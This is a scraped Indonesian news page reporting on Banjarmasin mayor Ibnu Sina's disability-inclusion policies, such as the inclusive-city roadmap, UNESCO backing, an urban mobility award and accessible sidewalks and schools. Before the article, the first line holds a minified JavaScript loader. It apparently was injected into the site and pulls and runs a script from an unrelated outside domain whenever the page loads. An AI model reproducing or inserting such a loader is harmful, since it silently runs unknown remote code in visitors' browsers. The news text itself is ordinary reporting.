(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Kepedulian Wali Kota Banjarmasin H Ibnu Sina terhadap kaum difabel menuai apresiasi dari berbagai kota di Indonesia, hingga organisasi internasional.
Di bawah kepemimpinan Ibnu Sina, Banjarmasin merupakan kota pertama di Indonesia yang punya roadmap kota inklusi. Sehingga, Banjarmasin didukung langsung oleh UNESCO untuk mengembangkan program kota ramah inklusi.
Selain UNESCO, Kota Banjarmasin juga bekerjasama dengan Kota Kita Surakarta, Kaki Kota Banjarmasin, Global Disability Inovation Hub, University College London dan GIZ Germany untuk mewujudkan Kota Banjarmasin yang inklusif. Disamping itu, kota ini juga didapuk sebagai tuan rumah pertemuan tingkat tinggi Wali Kota untuk kota inklusif ke-8 Apeksi.
Kota Banjarmasin menjadi satu-satunya kota di Indonesia yang memenangkan Global Urban Mobillity Challenge 2019 di Leipzig City, Jerman. Atas raihan penghargaan tersebut, Banjarmasin juga mendapatkan bantuan Transformative Urban Mobility Initiative (TUMI) sebesar Rp2 miliar untuk pembangunan infrastruktur kota inklusi bersama 9 kota lain dari seluruh dunia.
“Hingga hari ini kita masih mencoba terus melaksanakan kebijakan yang berkesesuaian dengan roadmap kota inklusi itu,” kata Ibnu Sina.
Sebagai kerja nyatanya saat ini Banjarmasin telah membangun infrastruktur ramah bagi penyandang disabilitas. Seperti dibangunnya trotoar ramah difabel hingga perkantoran pemerintah juga
dibangun sarana dan pra sarana khusus ramah difabel. Hal ini terlihat pada pembangunan pedestrian di sepanjang jalan Belitung, sepanjang jalan A. Yani Km 2 hingga Km 6 Banjarmasin, serta pembuatan toilet untuk kaum difabel.
Ada pula kampung inklusi yang dibangun di tingkat kelurahan. Sedangkan untuk pendidikan sudah ada puluhan SD dan SMP yang berbasis inklusi dan dilengkapi angkutan umum gratis untuk para difabel.
“Ada tiga aspek dalam hal membangun kota yang ramah disabilitas yakni, regulasi, penyediaan dalam layanan publiknya dan terakhir penerimaan dari masyarakat,” pungkas Ibnu. (kanalkalimantan.com/fikri)
Reporter: Fikri
Editor : Bie
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) H Muhidin merespon kebijakan pemerintah pusat terkait Opsen… Read More
Solusi Hemat Listrik Ramah Lingkungan di Sekolah Read More
KANALKALIMANTAN.COM, AMUNTAI - Dinas Kesehatan (Dinkes) Kabupaten Hulu Sungai Utara (HSU) meluncurkan layanan kesehatan berbasis… Read More
KANALKALIMANTAN. COM, JAKARTA - Indonesian Hypnosis Centre (IHC) menggelar acara pengukuhan 51 orang yang telah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More
KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More
This website uses cookies.